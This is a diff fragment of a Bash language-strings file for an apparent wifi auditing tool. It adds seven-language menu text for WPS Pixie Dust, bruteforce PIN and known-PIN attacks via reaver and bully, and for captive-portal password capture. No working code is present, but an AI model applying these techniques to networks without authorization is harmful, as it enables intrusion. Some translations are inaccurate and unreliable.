+ arr["FRENCH",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. ${green_color}Entrez le chemin du fichier ou bien appuyez sur [Entrée] pour utiliser le chemin proposé ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["CATALAN",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. ${green_color}Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["PORTUGUESE",317]="Se a senha da rede wifi for conseguida com o portal cativo, onde deseja salvar? ${green_color}Digite um caminho para salvar o arquivo ou pressione [Enter] para aceitar o padrão ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["RUSSIAN",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. ${green_color}Впишите путь до файла или нажмите [Enter] для принятия значения по умолчанию ${normal_color}[${default_et_captive_portal_logpath}]"
+ arr["GREEK",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. ${green_color}Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_et_captive_portal_logpath}]"
arr["ENGLISH",318]="Choose the language in which network clients will see the captive portal :"
arr["SPANISH",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :"
@@ -3136,6 +3140,318 @@ function language_strings() {
arr["RUSSIAN",332]="Язык изменён на Греческий"
arr["GREEK",332]="Η γλώσσα άλλαξε σε Ελληνικά"
+ arr["ENGLISH",333]="8. WPS attacks menu"
+ arr["SPANISH",333]="8. Menú de ataques WPS"
+ arr["FRENCH",333]="8. Menu d'attaques WPS"
+ arr["CATALAN",333]="${pending_of_translation} 8. Menú d'atacs WPS"
+ arr["PORTUGUESE",333]="8. Menu de ataques WPS"
+ arr["RUSSIAN",333]="8. Меню атак на WPS"
+ arr["GREEK",333]="8. Μενού επιθέσεων WPS"
+
+ arr["ENGLISH",334]="WPS attacks menu"
+ arr["SPANISH",334]="Menú de ataques WPS"
+ arr["FRENCH",334]="Menu d'attaques WPS"
+ arr["CATALAN",334]="${pending_of_translation} Menú d'atacs WPS"
+ arr["PORTUGUESE",334]="Menu de ataques WPS"
+ arr["RUSSIAN",334]="Меню атак на WPS"
+ arr["GREEK",334]="Μενού επιθέσεων WPS"
+
+ arr["ENGLISH",335]="Selected WPS BSSID: ${pink_color}${wps_bssid}${normal_color}"
+ arr["SPANISH",335]="BSSID WPS seleccionado: ${pink_color}${wps_bssid}${normal_color}"
+ arr["FRENCH",335]="BSSID WPS sélectionné: ${pink_color}${wps_bssid}${normal_color}"
+ arr["CATALAN",335]="${pending_of_translation} BSSID WPS seleccionat: ${pink_color}${wps_bssid}${normal_color}"
+ arr["PORTUGUESE",335]="BSSID WPS selecionado: ${pink_color}${wps_bssid}${normal_color}"
+ arr["RUSSIAN",335]="Выбран WPS BSSID: ${pink_color}${wps_bssid}${normal_color}"
+ arr["GREEK",335]="Επιλεγμένο WPS BSSID: ${pink_color}${wps_bssid}${normal_color}"
+
+ arr["ENGLISH",336]="Selected WPS channel: ${pink_color}${wps_channel}${normal_color}"
+ arr["SPANISH",336]="Canal WPS seleccionado: ${pink_color}${wps_channel}${normal_color}"
+ arr["FRENCH",336]="Canal WPS sélectionné: ${pink_color}${wps_channel}${normal_color}"
+ arr["CATALAN",336]="${pending_of_translation} Canal WPS seleecionat: ${pink_color}${wps_channel}${normal_color}"
+ arr["PORTUGUESE",336]="Canal WPS selecionado: ${pink_color}${wps_channel}${normal_color}"
+ arr["RUSSIAN",336]="Выбран WPS канал: ${pink_color}${wps_channel}${normal_color}"
+ arr["GREEK",336]="Επιλεγμένο WPS κανάλι: ${pink_color}${wps_channel}${normal_color}"
+
+ arr["ENGLISH",337]="Selected WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- can't be used"
+ arr["SPANISH",337]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${blue_color} <- no se puede usar"
+ arr["FRENCH",337]="ESSID WPS sélectionné: ${pink_color}${wps_essid}${blue_color} <- ne peut pas être utilisé"
+ arr["CATALAN",337]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}${wps_essid}${blue_color} <- no es pot utilitzar"
+ arr["PORTUGUESE",337]="ESSID WPS selecionado: ${pink_color}${wps_essid}${blue_color} <- não pode ser utilizada"
+ arr["RUSSIAN",337]="Выбран WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- не может использоваться"
+ arr["GREEK",337]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${blue_color} <- δεν μπορεί να χρησιμοποιηθεί"
+
+ arr["ENGLISH",338]="Selected WPS ESSID: ${pink_color}${wps_essid}${normal_color}"
+ arr["SPANISH",338]="ESSID WPS seleccionado: ${pink_color}${wps_essid}${normal_color}"
+ arr["FRENCH",338]="ESSID WPS sélectionné: ${pink_color}${wps_essid}${normal_color}"
+ arr["CATALAN",338]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}${wps_essid}${normal_color}"
+ arr["PORTUGUESE",338]="ESSID WPS selecionado: ${pink_color}${wps_essid}${normal_color}"
+ arr["RUSSIAN",338]="Выбран WPS ESSID: ${pink_color}${wps_essid}${normal_color}"
+ arr["GREEK",338]="Επιλεγμένο WPS ESSID: ${pink_color}${wps_essid}${normal_color}"
+
+ arr["ENGLISH",339]="Selected WPS BSSID: ${pink_color}None${normal_color}"
+ arr["SPANISH",339]="BSSID WPS seleccionado: ${pink_color}Ninguno${normal_color}"
+ arr["FRENCH",339]="BSSID WPS sélectionné: ${pink_color}Aucun${normal_color}"
+ arr["CATALAN",339]="${pending_of_translation} BSSID WPS seleccionat: ${pink_color}Ningú${normal_color}"
+ arr["PORTUGUESE",339]="BSSID WPS selecionado: ${pink_color}Nenhum${normal_color}"
+ arr["RUSSIAN",339]="Выбран WPS BSSID: ${pink_color}Нет${normal_color}"
+ arr["GREEK",339]="Επιλεγμένο WPS BSSID: ${pink_color}Κανένα${normal_color}"
+
+ arr["ENGLISH",340]="Selected WPS channel: ${pink_color}None${normal_color}"
+ arr["SPANISH",340]="Canal WPS seleccionado: ${pink_color}Ninguno${normal_color}"
+ arr["FRENCH",340]="Canal WPS sélectionné: ${pink_color}Aucun${normal_color}"
+ arr["CATALAN",340]="${pending_of_translation} Canal WPS seleccionat: ${pink_color}Ningú${normal_color}"
+ arr["PORTUGUESE",340]="Canal WPS selecionado: ${pink_color}Nenhum${normal_color}"
+ arr["RUSSIAN",340]="Выбран WPS канал: ${pink_color}Нет${normal_color}"
+ arr["GREEK",340]="Επιλεγμένο WPS κανάλι: ${pink_color}Κανένα${normal_color}"
+
+ arr["ENGLISH",341]="Selected WPS ESSID: ${pink_color}None${normal_color}"
+ arr["SPANISH",341]="ESSID WPS seleccionado: ${pink_color}Ninguno${normal_color}"
+ arr["FRENCH",341]="ESSID WPS sélectionné: ${pink_color}Aucun${normal_color}"
+ arr["CATALAN",341]="${pending_of_translation} ESSID WPS seleccionat: ${pink_color}Ningú${normal_color}"
+ arr["PORTUGUESE",341]="ESSID WPS selecionado: ${pink_color}Nenhum${normal_color}"
+ arr["RUSSIAN",341]="Выбран WPS ESSID: ${pink_color}Нет${normal_color}"
+ arr["GREEK",341]="Επιλεγμένο WPS ESSID: ${pink_color}Κανένα${normal_color}"
+
+ arr["ENGLISH",342]="Pixie Dust attack obtains PIN and password in seconds, but not all access points are affected"
+ arr["SPANISH",342]="El ataque Pixie Dust obtiene el PIN y la clave en segundos, pero no todos los puntos de acceso son vulnerables a este ataque"
+ arr["FRENCH",342]="${pending_of_translation} L'attaque Pixie Dust obtient le code PIN et le mot de passe en quelques secondes, mais les points d'accès ne sont pas tous vulnérables à cette attaque"
+ arr["CATALAN",342]="${pending_of_translation} L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac"
+ arr["PORTUGUESE",342]="O ataque Pixie Dust recebe o PIN e senha em segundos, mas nem todos os pontos de acesso são vulneráveis a este ataque"
+ arr["RUSSIAN",342]="Pixie Dust получает PIN и пароль за секунды, но не все точки доступа подвержены этой атаке"
+ arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται"
+
+ arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives"
+ arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos"
+ arr["FRENCH",343]="${pending_of_translation} Pour effectuer toute WPS attaque dont vous avez besoin d'un bon signe du réseau cible. Nous pourrions obtenir autrement faux négatifs"
+ arr["CATALAN",343]="${pending_of_translation} Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius"
+ arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos"
+ arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания"
+ arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα"
+
+ arr["ENGLISH",344]="Some access points can be blocked after failing some PIN connection attempts. It may vary depending on the access point"
+ arr["SPANISH",344]="Algunos puntos de acceso se bloquean tras fallar cierto número de intentos de conexión por PIN. Puede variar dependiendo del punto de acceso"
+ arr["FRENCH",344]="${pending_of_translation} Certains points d'accès sont bloqués après avoir raté un certain nombre de tentatives de connexion par code PIN. Elle peut varier en fonction du point d'accès"
+ arr["CATALAN",344]="${pending_of_translation} Alguns punts d'accés es bloqueja després de fallar cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés"
+ arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso"
+ arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN. Это зависит от конкретной точки доступа."
+ arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης"
+
+ arr["ENGLISH",345]="5. (bully) Custom PIN association"
+ arr["SPANISH",345]="5. (bully) Asociación con PIN personalizado"
+ arr["FRENCH",345]="5. (bully) Association avec PIN personnalisé"
+ arr["CATALAN",345]="${pending_of_translation} 5. (bully) Associació amb PIN personalitzat"
+ arr["PORTUGUESE",345]="5. (bully) Associação com o PIN personalizado"
+ arr["RUSSIAN",345]="5. (bully) Ассоциация с персонализированным PIN"
+ arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN"
+
+ arr["ENGLISH",346]="7. (bully) Pixie Dust attack"
+ arr["SPANISH",346]="7. (bully) Ataque Pixie Dust"
+ arr["FRENCH",346]="7. (bully) Attaque Pixie Dust"
+ arr["CATALAN",346]="${pending_of_translation} 7. (bully) Atac Pixie Dust"
+ arr["PORTUGUESE",346]="7. (bully) Ataque Pixie Dust"
+ arr["RUSSIAN",346]="7. (bully) Атака Pixie Dust"
+ arr["GREEK",346]="7. (bully) Επίθεση Pixie Dust"
+
+ arr["ENGLISH",347]="9. (bully) Bruteforce PIN attack"
+ arr["SPANISH",347]="9. (bully) Ataque de fuerza bruta por PIN"
+ arr["FRENCH",347]="9. (bully) Attaque brute force PIN"
+ arr["CATALAN",347]="${pending_of_translation} 9. (bully) Atac de força bruta per PIN"
+ arr["PORTUGUESE",347]="${pending_of_translation} 9. (bully) Ataque de força bruta PIN"
+ arr["RUSSIAN",347]="9. (bully) Атака перебором PIN"
+ arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας"
+
+ arr["ENGLISH",348]="11. (bully) Known PINs database based attack"
+ arr["SPANISH",348]="11. (bully) Ataque basado en base de datos de PINs conocidos"
+ arr["FRENCH",348]=" 11. (bully) Attaque en utilisant un PIN de la base de données"
+ arr["CATALAN",348]="${pending_of_translation} 11. (bully) Atac basat en base de dades de PINs coneguts"
+ arr["PORTUGUESE",348]="11. (bully) Ataque com base em banco de dados de PINs conhecidos"
+ arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных PIN"
+ arr["GREEK",348]="11. (bully) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN"
+
+ arr["ENGLISH",349]=" N. BSSID CHANNEL PWR LOCKED ESSID"
+ arr["SPANISH",349]=" N. BSSID CANAL PWR LOCKED ESSID"
+ arr["FRENCH",349]=" N. BSSID CANAL PWR LOCKED ESSID"
+ arr["CATALAN",349]=" N. BSSID CANAL PWR LOCKED ESSID"
+ arr["PORTUGUESE",349]=" N. BSSID CANAL PWR LOCKED ESSID"
+ arr["RUSSIAN",349]=" N. BSSID CHANNEL PWR LOCKED ESSID"
+ arr["GREEK",349]=" N. BSSID CHANNEL PWR LOCKED ESSID"
+
+ arr["ENGLISH",350]="${blue_color}You have selected a locked WPS network ${green_color}Do you want to continue? ${normal_color}[y/n]"
+ arr["SPANISH",350]="${blue_color}Has seleccionado una red WPS bloqueada ${green_color}¿Deseas continuar? ${normal_color}[y/n]"
+ arr["FRENCH",350]="${blue_color}Vous avez sélectionné un réseau dont le WPS est bloqué ${green_color}Voulez-vous continuer? ${normal_color}[y/n]"
+ arr["CATALAN",350]="${pending_of_translation} ${blue_color}Has seleccionat una xarxa WPS bloquejada ${green_color}¿Vols continuar? ${normal_color}[y/n]"
+ arr["PORTUGUESE",350]="${blue_color}Você selecionou uma rede com WPS bloqueado ${green_color}Você deseja continuar? ${normal_color}[y/n]"
+ arr["RUSSIAN",350]="${blue_color}Вы выбрали заблокированную WPS сеть ${green_color}Вы хотите продолжить? ${normal_color}[y/n]"
+ arr["GREEK",350]="${blue_color}Έχετε επιλέξει ένα κλειδωμένο WPS δίκτυο ${green_color}Θέλετε να συνεχίσετε; ${normal_color}[y/n]"
+
+ arr["ENGLISH",351]="WPS locked network: ${pink_color}${wps_locked}${normal_color}"
+ arr["SPANISH",351]="Red WPS bloqueada: ${pink_color}${wps_locked}${normal_color}"
+ arr["FRENCH",351]="Blocage du WPS: ${pink_color}${wps_locked}${normal_color}"
+ arr["CATALAN",351]="${pending_of_translation} Xarxa WPS bloquejada: ${pink_color}${wps_locked}${normal_color}"
+ arr["PORTUGUESE",351]="Rede com WPS bloqueado: ${pink_color}${wps_locked}${normal_color}"
+ arr["RUSSIAN",351]="Сеть с заблокированным WPS: ${pink_color}${wps_locked}${normal_color}"
+ arr["GREEK",351]="Κλειδωμένο WPS δίκτυο: ${pink_color}${wps_locked}${normal_color}"
+
+ arr["ENGLISH",352]="WPS locked network: ${pink_color}None${normal_color}"
+ arr["SPANISH",352]="Red WPS bloqueada: ${pink_color}Ninguno${normal_color}"
+ arr["FRENCH",352]="Blocage du WPS: ${pink_color}Aucun${normal_color}"
+ arr["CATALAN",352]="${pending_of_translation} Xarxa WPS bloquejada: ${pink_color}Ningú${normal_color}"
+ arr["PORTUGUESE",352]="rede com WPS bloqueado: ${pink_color}Nenhum${normal_color}"
+ arr["RUSSIAN",352]="Сеть с заблокированным WPS: ${pink_color}Нет${normal_color}"
+ arr["GREEK",352]="Κλειδωμένο WPS δίκτυο: ${pink_color}Κανένα${normal_color}"
+
+ arr["ENGLISH",353]="Checking to solve possible \"bad FCS\" problem if exists. Parameterizing..."
+ arr["SPANISH",353]="Realizando una pequeña prueba para solventar el posible problema de \"bad FCS\" si existiese. Parametrizando..."
+ arr["FRENCH",353]="${pending_of_translation} Faire un petit test pour résoudre le problème possible de \"bad FCS\" si. Paramétrage..."
+ arr["CATALAN",353]="${pending_of_translation} Mitjançant una petita prova per solucionar el possible problema de \"bad FCS\" si existís. Parametritzant..."
+ arr["PORTUGUESE",353]="Fazendo alguns teste para resolver o possível problema \"bad FCS\". Definindo parâmetro..."
+ arr["RUSSIAN",353]="Проверка возможного решения проблемы \"плохого FCS (контроля последовательности кадров)\" если она существует. Параметризация..."
+ arr["GREEK",353]="Γίνεται έλεγχος επίλυσης πιθανού σφάλματος \"bad FCS\" αν υπάρχει. Γίνεται παραμετροποίηση..."
+
+ arr["ENGLISH",354]="Done! parameter set"
+ arr["SPANISH",354]="Hecho! parámetro fijado"
+ arr["FRENCH",354]="Paramètres définis!"
+ arr["CATALAN",354]="${pending_of_translation} Fet! paràmetre fixat"
+ arr["PORTUGUESE",354]="Feito! parâmetro definido"
+ arr["RUSSIAN",354]="Сделано! параметры заданы"
+ arr["GREEK",354]="Έγινε! η παράμετρος τέθηκε"
+
+ arr["ENGLISH",355]="It seems this interface was parametrized before. It's not necessary to check again"
+ arr["SPANISH",355]="Esta interfaz ya fue parametrizada anteriormente. No es necesario realizar de nuevo el chequeo"
+ arr["FRENCH",355]="${pending_of_translation} Cette interface a déjà été configuré précédemment. Il est nécessaire de vérifier à nouveau"
+ arr["CATALAN",355]="${pending_of_translation} Aquesta interfície ja va ser parametritzada anteriorment. No cal fer de nou la revisió"
+ arr["PORTUGUESE",355]="Esta interface já foi configurada anteriormente. Não é necessário verificar novamente"
+ arr["RUSSIAN",355]="Кажется, этот интерфейс был параметризован ранее. Нет необходимости проверять снова"
+ arr["GREEK",355]="Φαίνεται πως αυτή η διεπαφή παραμετροποιήθηκε προηγουμένως. Δεν είναι απαραίτητο να γίνει έλεγχος ξανά"
+
+ arr["ENGLISH",356]="Some combinations don't work well. Such as reaver and Ralink chipset cards. If your card has this chipset is recommended to use bully"
+ arr["SPANISH",356]="Algunas combinaciones no funcionan bien. Como por ejemplo reaver y las tarjetas con chipset Ralink. Si tu tarjeta tiene este chipset es mejor utilizar bully"
+ arr["FRENCH",356]="${pending_of_translation} Certaines combinaisons ne fonctionnent pas bien. Tels que reaver et cartes avec Ralink chipset. Si votre carte a ce chipset est préférable d'utiliser bully"
+ arr["CATALAN",356]="${pending_of_translation} Algunes combinacions no funcionan bé. Com per exemple reaver i les targetes amb chipset Ralink. Si la teva targeta té aquest chipset és millor utilitzar bully"
+ arr["PORTUGUESE",356]="Algumas combinações não funcionam bem. Tais como reaver e placas de rede com chipset Ralink. Se o sua placa de rede tem este chipset é melhor usar bully"
+ arr["RUSSIAN",356]="Некоторые комбинации не работают нормально. К примеру reaver и карты с чипсетом Ralink. Если ваша карта имеет этот чипсет, то рекомендуется использовать bully"
+ arr["GREEK",356]="Μερικοί συνδυασμοί δεν λειτουργούν καλά. Όπως για παράδειγμα το reaver με κάρτες που έχουν Ralink chipset. Αν η κάρτα σας έχει αυτό το chipset είναι προτιμότερο να χρησιμοποιήσετε το bully"
+
+ arr["ENGLISH",357]="6. (reaver) Custom PIN association"
+ arr["SPANISH",357]="6. (reaver) Asociación con PIN personalizado"
+ arr["FRENCH",357]="${pending_of_translation} 6. (reaver) Association avec le code PIN personnalisé"
+ arr["CATALAN",357]="${pending_of_translation} 6. (reaver) Associació amb PIN personalitzat"
+ arr["PORTUGUESE",357]="6. (reaver) Associação com o PIN personalizado"
+ arr["RUSSIAN",357]="6. (reaver) Пользовательские PIN ассоциации"
+ arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN"
+
+ arr["ENGLISH",358]="8. (reaver) Pixie Dust attack"
+ arr["SPANISH",358]="8. (reaver) Ataque Pixie Dust"
+ arr["FRENCH",358]="${pending_of_translation} 8. (reaver) Attaque Pixie Dust"
+ arr["CATALAN",358]="${pending_of_translation} 8. (reaver) Atac Pixie Dust"
+ arr["PORTUGUESE",358]="8. (reaver) Ataque Pixie Dust"
+ arr["RUSSIAN",358]="8. (reaver) Атака Pixie Dust"
+ arr["GREEK",358]="8. (reaver) Επίθεση Pixie Dust"
+
+ arr["ENGLISH",359]="10. (reaver) Bruteforce PIN attack"
+ arr["SPANISH",359]="10. (reaver) Ataque de fuerza bruta por PIN"
+ arr["FRENCH",359]="${pending_of_translation} 10. (reaver) Attaque de force brute PIN"
+ arr["CATALAN",359]="${pending_of_translation} 10. (reaver) Atac de força bruta per PIN"
+ arr["PORTUGUESE",359]="${pending_of_translation} 10. (reaver) Ataque de força bruta PIN"
+ arr["RUSSIAN",359]="10. (reaver) Атака перебором PIN"
+ arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας"
+
+ arr["ENGLISH",360]="12. (reaver) Known PINs database based attack"
+ arr["SPANISH",360]="12. (reaver) Ataque basado en base de datos de PINs conocidos"
+ arr["FRENCH",360]="${pending_of_translation} 12. (reaver) Sur la base base de données d'attaque PINs connus"
+ arr["CATALAN",360]="${pending_of_translation} 12. (reaver) Atac basat en base de dades de PINs coneguts"
+ arr["PORTUGUESE",360]="12. (reaver) Ataque com base em banco de dados de PINs conhecidos"
+ arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN"
+ arr["GREEK",360]="12. (reaver) Επίθεση με χρήση γνωστής βάσης δεδομένων PIN"
+
+ arr["ENGLISH",361]="13. Return to main menu"
+ arr["SPANISH",361]="13. Volver al menú principal"
+ arr["FRENCH",361]="13. Retourner au menu principal"
+ arr["CATALAN",361]="13. Tornar al menú principal"
+ arr["PORTUGUESE",361]="13. Voltar ao menu principal"
+ arr["RUSSIAN",361]="13. Возврат в главное меню"
+ arr["GREEK",361]="13. Επιστροφή στο αρχικό μενού"
+
+ arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}"
+ arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}"
+ arr["FRENCH",362]="${pending_of_translation} PIN personnalisé choisi ${normal_color}${custom_pin}"
+ arr["CATALAN",362]="${pending_of_translation} PIN personalitzat triat ${normal_color}${custom_pin}"
+ arr["PORTUGUESE",362]="PIN personalizado escolhido ${normal_color}${custom_pin}"
+ arr["RUSSIAN",362]="Пользовательский PIN установлен на ${normal_color}${custom_pin}"
+ arr["GREEK",362]="Το εξατομικευμένο PIN τέθηκε σε ${normal_color}${custom_pin}"
+
+ arr["ENGLISH",363]="Type custom PIN :"
+ arr["SPANISH",363]="Escribe el PIN personalizado :"
+ arr["FRENCH",363]="${pending_of_translation} Écrivez PIN personnalisé :"
+ arr["CATALAN",363]="${pending_of_translation} Escriu el PIN personalitzat :"
+ arr["PORTUGUESE",363]="Escreva o ESSID do alvo :"
+ arr["RUSSIAN",363]="Напишите пользовательский PIN :"
+ arr["GREEK",363]="Πληκτρολογήστε εξατομικευμένο PIN :"
+
+ arr["ENGLISH",364]="BSSID set to ${normal_color}${wps_bssid}"
+ arr["SPANISH",364]="BSSID elegido ${normal_color}${wps_bssid}"
+ arr["FRENCH",364]="Le BSSID choisi est ${normal_color}${wps_bssid}"
+ arr["CATALAN",364]="El BSSID escollit ${normal_color}${wps_bssid}"
+ arr["PORTUGUESE",364]="BSSID escolhido ${normal_color}${wps_bssid}"
+ arr["RUSSIAN",364]="BSSID установлена на ${normal_color}${wps_bssid}"
+ arr["GREEK",364]="Το BSSID τέθηκε σε ${normal_color}${wps_bssid}"
+
+ arr["ENGLISH",365]="Channel set to ${normal_color}${wps_channel}"
+ arr["SPANISH",365]="Canal elegido ${normal_color}${wps_channel}"
+ arr["FRENCH",365]="Le canal ${normal_color}${wps_channel}${blue_color} a été choisi"
+ arr["CATALAN",365]="El canal ${normal_color}${wps_channel}${blue_color} s'ha escollit"
+ arr["PORTUGUESE",365]="Canal ${normal_color}${wps_channel}${blue_color} selecionado"
+ arr["RUSSIAN",365]="Канал установлен на ${normal_color}${wps_channel}"
+ arr["GREEK",365]="Το κανάλι ${normal_color}${wps_channel}${blue_color} έχει επιλεχθεί"
+
+ arr["ENGLISH",366]="After stopping the attack (using [Ctrl+C]), the window will not be closed automatically. So you'll have time to write down the password if successful. You'll have to close it manually"
+ arr["SPANISH",366]="Tras parar el ataque (usando [Ctrl+C]), la ventana del ataque no se cerrará automáticamente. Asi tendrás tiempo de anotar la contraseña en caso de tener éxito. Tendrás que cerrarla manualmente"
+ arr["FRENCH",366]="${pending_of_translation} Après l'arrêt de l'attaque (en utilisant [Ctrl+C]), la fenêtre ne se ferme pas automatiquement attaque. Donc, avoir le temps d'écrire le mot de passe en cas de succès. Vous devez fermer manuellement"
+ arr["CATALAN",366]="${pending_of_translation} Després parar l'atac (usant [Ctrl+C]), la finestra de l'atac no es tancarà automàticament. Així tindràs temps d'anotar la contrasenya en cas de tenir èxit. Hauràs de tancar-la manualment"
+ arr["PORTUGUESE",366]="Depois de parar o ataque (usando [Ctrl+C]), a janela não será fechada automaticamente. Então temos tempo para anotar a senha em caso ela tenha sido obtida. Em seguida você vai ter que fechar a janela manualmente"
+ arr["RUSSIAN",366]="После остановки атаки (используя [Ctrl+C]), окно автоматически не закроется. У вас будет время переписать пароль, если атака завершилась успешно. Затем вам нужно закрыть его вручную"
+ arr["GREEK",366]="Μετά τη διακοπή της επίθεσης (με [Ctrl+C]), το παράθυρο δεν θα κλείσει αυτόματα. Έτσι θα έχετε χρόνο να κρατήσετε τον κωδικό πρόσβασης σε περίπτωση επιτυχίας. Το παράθυρο θα πρέπει να το κλείσετε χειροκίνητα"
+
+ arr["ENGLISH",367]="You have bully installed (v${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v${minimum_bully_pixiewps_version}"
+ arr["SPANISH",367]="Tienes bully instalado (v${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v${minimum_bully_pixiewps_version}"
+ arr["FRENCH",367]="${pending_of_translation} Vous bully installé (v${bully_version}), mais pas la version requise. Pour rendre l'attaque bully intégrée Pixie Dust doit avoir au moins la version v${minimum_bully_pixiewps_version}"
+ arr["CATALAN",367]="${pending_of_translation} Tens bully instal·lat (v${bully_version}), encara que no la versió requerida. Per realitzar l'atac Pixie Dust integrat amb bully has de tenir almenys la versió v${minimum_bully_pixiewps_version}"
+ arr["PORTUGUESE",367]="Você tem o bully instalado (v${bully_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com bully você precisa ter pelo menos a versão v${minimum_bully_pixiewps_version}"
+ arr["RUSSIAN",367]="У вас установлен bully (v${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v${minimum_bully_pixiewps_version}"
+ arr["GREEK",367]="Έχετε εγκατεστημένο το bully (v${bully_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο bully θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_bully_pixiewps_version}"
+
+ arr["ENGLISH",368]="You have bully installed (v${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v${minimum_bully_pixiewps_version}). Script can continue..."
+ arr["SPANISH",368]="Tienes bully instalado (v${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v${minimum_bully_pixiewps_version}). El script puede continuar..."
+ arr["FRENCH",368]="${pending_of_translation} Vous bully installé (v${bully_version}). Vous répondez aux exigences de version pour le Pixie Dust intégré attaque bully (version minimale v${minimum_bully_pixiewps_version}). Le script peut continuer..."
+ arr["CATALAN",368]="${pending_of_translation} Tens bully instal·lat (v${bully_version}). Compleixes amb el requisit de versió per a realitzar l'atac Pixie Dust integrat amb bully (versió mínima v${minimum_bully_pixiewps_version}). El script pot continuar..."
+ arr["PORTUGUESE",368]="Você tem o bully instalado (v${bully_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com bully (versão mínima v${minimum_bully_pixiewps_version}). O script pode continuar..."
+ arr["RUSSIAN",368]="У вас установлен bully (v${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..."
+ arr["GREEK",368]="Έχετε εγκατεστημένο το bully (v${bully_version}). Έχετε την απαραίτητη έκδοση bully (ελάχιστη έκδοση v${minimum_bully_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο bully. Το script μπορεί να συνεχίσει..."
+
+ arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least ${minimum_reaver_pixiewps_version} version for reaver and ${minimum_bully_pixiewps_version} for bully"
+ arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión ${minimum_reaver_pixiewps_version} para reaver y ${minimum_bully_pixiewps_version} para bully"
+ arr["FRENCH",369]="${pending_of_translation} Pour rendre le Pixie Dust intégré attaque reaver ou bully, vous devez avoir installé au moins le ${minimum_reaver_pixiewps_version} por reaver et ${minimum_bully_pixiewps_version} pour bully"
+ arr["CATALAN",369]="${pending_of_translation} Per realitzar l'atac Pixie Dust integrat amb reaver o amb bully, has de tenir instal·lada com a mínim la versió ${minimum_reaver_pixiewps_version} per reaver i ${minimum_bully_pixiewps_version} per bully"
+ arr["PORTUGUESE",369]="Para executar o ataque Pixie Dust com reaver ou bully, é necessário ter instalado pelo menos a versão ${minimum_reaver_pixiewps_version} para o reaver e ${minimum_bully_pixiewps_version} para o bully"
+ arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия ${minimum_reaver_pixiewps_version} для reaver и ${minimum_bully_pixiewps_version} для bully"
